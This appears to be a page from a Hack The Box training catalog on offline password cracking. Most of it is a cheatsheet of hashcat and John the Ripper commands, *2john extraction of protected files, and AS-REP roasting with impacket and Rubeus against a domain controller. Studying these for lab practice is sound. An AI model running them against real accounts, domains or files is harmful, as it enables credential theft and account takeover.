Password Cracking
Sub-technique of T1110 Brute Force ↗
Recovering a password from a hash by trying wordlists and rules offline.
How it shows up on Hack The Box
rockyou.txt is enough for nearly all of HTB. Identify the hashcat mode correctly and, for files (zip, SSH, KeePass), convert them first with the matching *2john tool.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Showing 48 of 101. Open each catalog technique above to see them all.
Guides
- Hash cracking with hashcat and John the Ripper: modes, rules, masks and protected files 3 min read Identify a hash, pick the right hashcat mode (NTLM, NetNTLMv2, bcrypt, Kerberos), use rules and masks, and crack zip, KeePass and SSH keys with *2john.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
JWT analyser › Attacks
hashcat
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
John the Ripper
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txtWindows and Active Directory privilege escalation › Active Directory
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcatCrack with hashcat -m 18200.
Active Directory in depth › Impacket
AS-REP roasting
Attacker
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txthashcat -m 18200
Hash identifier › Cracking
Wordlist
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Wordlist with rules
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Show an already cracked password
hashcat -m 0 hash.txt --show
Let hashcat guess the type
hashcat hash.txt --identify
Wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Show results
john --show hash.txt
Merge passwd and shadow
unshadow passwd shadow > hashes.txt
Extract hashes from files
zip2john backup.zip > hash.txt
ssh2john id_rsa > hash.txt
keepass2john Database.kdbx > hash.txt
office2john informe.docx > hash.txt
pdf2john documento.pdf > hash.txtHashcat › Most used modes
NTLM (Windows NT hash)
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
NetNTLMv2 (Responder)
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Kerberoasting (TGS-REP RC4)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
AS-REP roasting
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
sha512crypt ($6$, /etc/shadow)
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
bcrypt ($2y$, PHP web apps)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txtHashcat › Attacks
Mask (Uppercase, lowercase and 4 digits)
hashcat -m 0 hash.txt -a 3 '?u?l?l?l?l?d?d?d?d'
Hashes with the username first (user:hash)
hashcat -m 1000 --username hashes.txt /usr/share/wordlists/rockyou.txtJohn the Ripper › More formats
Force the format
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Look up a format name
john --list=formats | tr "," "\n" | grep -i krb
.pfx certificate, PDF, Office and GPG
pfx2john cert.pfx > hash.txt
pdf2john doc.pdf > hash.txt
office2john doc.docx > hash.txt
gpg2john clave.asc > hash.txtResponder › Capturing hashes
Crack the captured NetNTLMv2
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txtRubeus › Roasting
AS-REP roasting
Target
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txtNo command matches.